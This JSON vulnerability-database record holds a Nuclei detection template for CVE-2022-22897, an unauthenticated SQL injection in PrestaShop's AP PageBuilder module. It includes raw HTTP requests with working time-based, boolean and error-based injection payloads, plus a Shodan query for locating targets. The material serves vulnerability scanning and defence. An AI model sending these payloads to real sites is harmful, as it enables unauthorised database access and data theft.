{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-22897/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-22897/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-22897/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-22897/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-22897/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-22897"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-22897"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-22897.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-22897\n\ninfo:\n  name: PrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection\n  author: mastercho\n  severity: critical\n  description: |\n    A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.\n  remediation: |\n    Upgrade PrestaShop Ap Pagebuilder to version 2.4.5 or later to mitigate this vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-22897\n    - https://packetstormsecurity.com/files/cve/CVE-2022-22897\n    - https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-22897\n    cwe-id: CWE-89\n    epss-score: 0.1439\n    epss-percentile: 0.96493\n    cpe: cpe:2.3:a:apollotheme:ap_pagebuilder:*:*:*:*:*:prestashop:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: apollotheme\n    product: ap_pagebuilder\n    framework: prestashop\n    shodan-query: http.component:\"prestashop\"\n  tags: time-based-sqli,cve,cve2022,packetstorm,prestashop,sqli,unauth,apollotheme,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /modules/appagebuilder/config.xml HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        @timeout: 20s\n        POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}\n        X-Requested-With: XMLHttpRequest\n\n        leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)\n\n      - |\n        POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}\n        X-Requested-With: XMLHttpRequest\n\n        leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6644=6644-- yMwI\n\n      - |\n        POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}\n        X-Requested-With: XMLHttpRequest\n\n        leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6643=6644-- yMwI\n\n      - |\n        @timeout: 20s\n        POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}\n        X-Requested-With: XMLHttpRequest\n\n        leoajax=1&pro_add=if(now()=sysdate()%2Csleep(6)%2C0)\n\n      - |\n        POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}\n        X-Requested-With: XMLHttpRequest\n\n        leoajax=1&pro_add=-{{rand_int(0000, 9999)}})\n\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        name: time-based\n        dsl:\n          - 'duration_2>=6'\n          - 'status_code_1 == 200 && compare_versions(version, \"<= 2.4.4\")'\n        condition: and\n\n      - type: dsl\n        name: time-based\n        dsl:\n          - 'duration_5>=6'\n          - 'status_code_1 == 200 && compare_versions(version, \"<= 2.4.4\")'\n        condition: and\n\n      - type: dsl\n        name: blind-based\n        dsl:\n          - 'status_code_1 == 200 && compare_versions(version, \"<= 2.4.4\")'\n          - 'contains(body_3, \"content\") && contains(body_3, \"{{Hostname}}\")'\n          - '!contains(body_4, \"content\") && !contains(body_4, \"{{Hostname}}\")'\n          - 'len(body_3) > 200 && len(body_4) <= 22'\n        condition: and\n\n      - type: dsl\n        name: error-based\n        dsl:\n          - 'status_code_1 == 200 && compare_versions(version, \"<= 2.4.4\")'\n          - 'contains(body_6, \"You have an error in your SQL syntax\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: version\n        part: body_1\n        internal: true\n        group: 1\n        regex:\n          - \"<version>\\\\s*<!\\\\[CDATA\\\\[(.*?)\\\\]\\\\]>\\\\s*<\\\\/version>\"\n# digest: 4b0a00483046022100c6e3ba76ddd1bd5e47f9e6c9f155771d4a2688e553fe14cbcac2ed7caf659c96022100815abbe5e17308dee72593724d4327c821d4651d5e0d3ea69373fec634e2261f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-22897"
}